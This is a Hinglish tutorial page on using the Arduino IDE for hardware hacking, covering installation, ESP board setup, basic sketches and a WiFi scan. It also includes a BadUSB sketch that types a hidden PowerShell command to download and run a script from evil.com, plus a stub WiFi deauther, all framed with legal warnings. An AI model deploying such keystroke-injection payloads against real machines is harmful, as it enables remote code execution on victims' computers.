Arduino IDE

Microcontroller Programming Environment

🎛️ Arduino IDE क्या है?

Arduino IDE एक open-source development environment है जो microcontrollers (जैसे Arduino boards, ESP8266, ESP32) को program करने के लिए use होता है। Hardware hacking और IoT security में यह बहुत important tool है।

👉 Hardware hacking में इससे custom devices बनाते हैं, hardware bugs exploit करते हैं, और embedded systems को test करते हैं।

🔧 Arduino IDE क्या-क्या कर सकता है

Code Write & Compile

C++ based code लिखना और compile करना

Upload Firmware

Microcontroller में code upload करना

Serial Monitor

Debugging और communication check करना

Multiple Boards

Arduino, ESP8266, ESP32, STM32 support

Library Manager

आसान library installation और management

Hacking Tools

Custom HID attacks, WiFi crackers बनाना

📦 Arduino IDE Installation

Linux / Kali / Termux (Proot)Installation Commands

Update System

apt update && apt upgrade -y

Install Arduino IDE (Version 2.x)

apt install arduino

या Latest Version Download करो:

wget https://downloads.arduino.cc/arduino-ide/arduino-ide_2.3.2_Linux_64bit.AppImage

Execute AppImage

chmod +x arduino-ide_*.AppImage
./arduino-ide_*.AppImage
ESP BoardsESP8266 / ESP32 Board Manager Setup

👉 Arduino IDE में File → Preferences → Additional Board Manager URLs:

ESP8266: http://arduino.esp8266.com/stable/package_esp8266com_index.json
ESP32: https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json

Board Manager से Install करो:

Tools → Board → Boards Manager → Search "esp8266" → Install
Tools → Board → Boards Manager → Search "esp32" → Install

💻 Basic Code Examples ( sketches )

👉 Arduino IDE में यह basic code examples use कर सकते हो:

LED Blink (Basic)

void setup() {
  pinMode(LED_BUILTIN, OUTPUT);
}

void loop() {
  digitalWrite(LED_BUILTIN, HIGH);
  delay(1000);
  digitalWrite(LED_BUILTIN, LOW);
  delay(1000);
}

Serial Print (Debugging)

void setup() {
  Serial.begin(9600);
  Serial.println("Hardware Hacking Started!");
}

void loop() {
  Serial.println("Checking sensors...");
  delay(1000);
}

WiFi Scan (ESP8266/ESP32)

#include <WiFi.h>

void setup() {
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  WiFi.disconnect();
  delay(100);
  Serial.println("Scanning for WiFi networks...");
}

void loop() {
  int n = WiFi.scanNetworks();
  Serial.println("Scan done!");
  if (n == 0) {
    Serial.println("No networks found");
  } else {
    Serial.print(n);
    Serial.println(" networks found");
    for (int i = 0; i < n; ++i) {
      Serial.print(i + 1);
      Serial.print(": ");
      Serial.print(WiFi.SSID(i));
      Serial.print(" (");
      Serial.print(WiFi.RSSI(i));
      Serial.println(")");
      delay(10);
    }
  }
  Serial.println("");
  delay(5000);
}

🔥 Real Example (Practical Hardware Hacking)

HID Attack🎯 BadUSB / USB Rubber Ducky Clone (Leonardo/Micro)

👉 Arduino Leonardo या Pro Micro से BadUSB attack tool बनाना:

#include <Keyboard.h>

void setup() {
  Keyboard.begin();
  delay(1000);
  
  // Windows Run Dialog (Win + R)
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(100);
  Keyboard.releaseAll();
  delay(500);
  
  // Type PowerShell command
  Keyboard.println("powershell -windowstyle hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"");
  
  Keyboard.end();
}

void loop() {
  // Empty loop
}

👉 यह क्या करेगा:

  • • Keyboard के रूप में computer को connect होगा
  • • Win+R press करेगा
  • • PowerShell command type करेगा
  • • Attack execute होगा
WiFi Hacking📡 WiFi Deauther (ESP8266 - Legal Research Only)
#include <ESP8266WiFi.h>

extern "C" {
  #include <espnow.h>
}

void setup() {
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  
  Serial.println("WiFi Deauther Loaded");
  Serial.println("Warning: Authorized Testing Only!");
}

void sendDeauth(uint8_t* bssid, uint8_t reason) {
  // Deauth frame send करने का code
  // ESP8266 native APIs use करता है
  Serial.println("Deauth sent to target");
}

void loop() {
  // Continuous deauth attacks
  delay(1000);
}

⚠️ CRITICAL WARNING:

WiFi deauth attacks perform करना illegal हो सकता है। केवल authorized research या अपने devices पर ही test करो।

📊 Serial Monitor Use करना (Output देखना)

👉 Serial Monitor से board की output देख सकते हो:

Serial Monitor Open करो

Tools &rarr; Serial Monitor

या Ctrl+Shift+M

Baud Rate Set करो

Serial.begin(9600);  // Code में
9600 baud         // Monitor में
📟 Serial Monitor Output:
Hardware Hacking Started!
Scanning for WiFi networks...
Scan done!
3 networks found
1: HomeWiFi (-45)
2: OfficeNetwork (-60)
3: GuestNetwork (-75)
⚠️ Important Warning

Arduino IDE से custom hardware और attacks बनाना powerful है लेकिन responsibility के साथ use करना चाहिए

Authorized Use Cases:

  • अपने devices और networks पर testing
  • Written permission के साथ penetration testing
  • Educational/training labs में practice
  • Hardware security research और bug bounties

🚫 Never Use For:

  • • Unauthorized BadUSB attacks
  • • WiFi network disruption (deauth attacks)
  • • Hardware tampering without permission
  • • Physical access attacks बिना consent

🧩 Related Tools

Firmadyne

Firmware emulation और analysis के लिए

Binwalk

Firmware extraction और analysis

Flipper Zero

Portable hardware hacking device

Bus Pirate

Hardware protocol debugging tool

💡 Simple समझ

Arduino IDE = "Hardware का Coding Studio"

यह तुम्हें microcontrollers को programming करने की power देता है — कस्टम tools बनाओ, hardware attacks design करो, IoT devices hack करो।